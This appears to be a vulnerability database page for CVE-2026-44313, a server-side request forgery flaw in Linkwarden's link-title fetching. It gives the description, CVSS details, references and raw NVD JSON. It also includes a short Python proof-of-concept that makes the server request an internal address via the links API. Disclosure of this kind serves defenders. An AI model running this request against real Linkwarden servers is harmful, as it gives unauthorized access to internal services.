CVE-2026-44313

Description

Linkwarden is a self-hosted, open-source collaborative bookmark manager to collect, organize and archive webpages. Prior to version 2.13.0, a Server-Side Request Forgery (SSRF) vulnerability in the fetchTitleAndHeaders function allows authenticated users to make arbitrary HTTP requests to internal services due to insufficient URL validation that only checks for "http://" or "https://" prefixes. This issue has been patched in version 2.13.0.

CVSS Details

CVSS Score

9.1

Severity

CRITICAL

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Linkwarden < 2.13.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

import requests

# Configuration
TARGET_URL = "http://localhost:3000/api/v1/links" # Example Linkwarden API endpoint
MALICIOUS_URL = "http://127.0.0.1:8080/admin" # Internal target
AUTH_TOKEN = "YOUR_SESSION_TOKEN_OR_COOKIE" # Replace with valid auth token

def exploit_ssrf():
    headers = {
        "Authorization": f"Bearer {AUTH_TOKEN}",
        "Content-Type": "application/json"
    }
    
    # Payload triggering the fetchTitleAndHeaders function
    payload = {
        "name": "SSRF Test",
        "url": MALICIOUS_URL, 
        "description": "Testing internal access via SSRF"
    }

    try:
        print(f"[*] Sending request to {TARGET_URL} with payload: {payload}")
        response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=10)
        
        if response.status_code == 200:
            print("[+] Request sent successfully. Check if the internal service was accessed.")
            print(f"[+] Response: {response.text}")
        else:
            print(f"[-] Request failed with status code: {response.status_code}")
            print(f"[-] Response: {response.text}")
            
    except Exception as e:
        print(f"[!] An error occurred: {e}")

if __name__ == "__main__":
    exploit_ssrf()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-44313
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-44313
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-44313/
[4] VulDB https://vuldb.com/cve/CVE-2026-44313
[5] https://github.com/linkwarden/linkwarden/security/advisories/GHSA-5qpc-x7rv-hvmp
[6] https://github.com/linkwarden/linkwarden/security/advisories/GHSA-5qpc-x7rv-hvmp

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-44313", "sourceIdentifier": "[email protected]", "published": "2026-05-09T00:16:29.373", "lastModified": "2026-05-12T16:39:33.760", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Linkwarden is a self-hosted, open-source collaborative bookmark manager to collect, organize and archive webpages. Prior to version 2.13.0, a Server-Side Request Forgery (SSRF) vulnerability in the fetchTitleAndHeaders function allows authenticated users to make arbitrary HTTP requests to internal services due to insufficient URL validation that only checks for \"http://\" or \"https://\" prefixes. This issue has been patched in version 2.13.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:L", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.1, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-918"}]}], "references": [{"url": "https://github.com/linkwarden/linkwarden/security/advisories/GHSA-5qpc-x7rv-hvmp", "source": "[email protected]"}, {"url": "https://github.com/linkwarden/linkwarden/security/advisories/GHSA-5qpc-x7rv-hvmp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}